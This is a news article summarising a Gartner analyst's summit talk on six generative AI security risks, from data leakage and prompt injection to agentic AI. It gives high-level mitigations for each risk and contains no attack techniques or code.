Gartner: Six GenAI risks organisations can’t ignore

If adoption outpaces safeguards, generative AI can expose organisations to significant security risks.

As organisations move from AI experimentation to production, they face a number of new security risks.

Dennis Xu, VP analyst, Gartner likened today’s large language models to a five‑year‑old with a huge brain, but without an understanding of context.

“They remember an enormous amount of information, but they have no idea what is valuable, what is right, or what is wrong,” said Xu, speaking at the Gartner Security and Risk Management Summit in Sydney this week.

Xu outlined key GenAI security risks and how organisations can mitigate them.

1. Data leakage

Sensitive data can leak to third-party AI services via prompts, file uploads and general usage and be used for training models and retained indefinitely.

To mitigate, uploads of sensitive data to unsanctioned AI services must be blocked and sanctioned services must include contractual guarantees to prohibit data use for training and retention.

2. Prompt injection attacks

Attackers can manipulate prompts to bypass safeguards and influence the GenAI service to produce outputs that can be used for malicious purposes such as phishing attacks.

“There are infinite variations of prompt injection attacks and it is impossible to block 100 percent of them,” said Xu.

AI security platforms should be used to filter both prompts and responses, and red-team testing is needed on any customer-facing bots. Incident response plans must be updated to include AI-based attacks.

3. Hallucinations

AI can produce factually incorrect outputs because it uses probabilistic prediction systems. Mitigation strategies must include user training to understand the risks, validating outputs before use and machine learning operations (MLOps) to monitor and manage models.

Prompt engineering and ensuring the model is fed accurate, appropriate data are also important steps to ensure good output.

“Hallucination is a reality of today’s LLM,” he said.

4. Toxic or harmful output

Generative AI tools can deliver toxic outputs including biased, offensive, violent, offensive or politically sensitive content.

“They may be factually correct, but culturally inappropriate,” Xu explained.

Layered mitigation strategies can address these risks. These include user training, prompt engineering and output validation to strengthen human oversight. Technical controls such as AI security tools and data management are also needed.

5. Data poisoning

If attackers breach data storage, it can alter the model and lead to inappropriate output. For instance, a generative AI tool could be influenced to create phishing emails for cyber attacks.

Mitigation requires cloud security tools such as access control, encryption, audit logging and anomaly detection.

“It’s not going to completely remove the risk but it will reduce the likelihood of toxic output,” Xu said.

6. Agentic AI risks

If generative AI is like a five-year-old, agentic AI is expecting the child to take an action. Systems need to be designed to limit potential for harmful outcomes.

AI agents should only be allowed to take low-risk actions, while high-risk actions such as modifying systems or data or transmitting data to external services must require human approval.

“Agents are risky because they have access to sensitive data, privileged system access, autonomy and unreliable reasoning,” he said.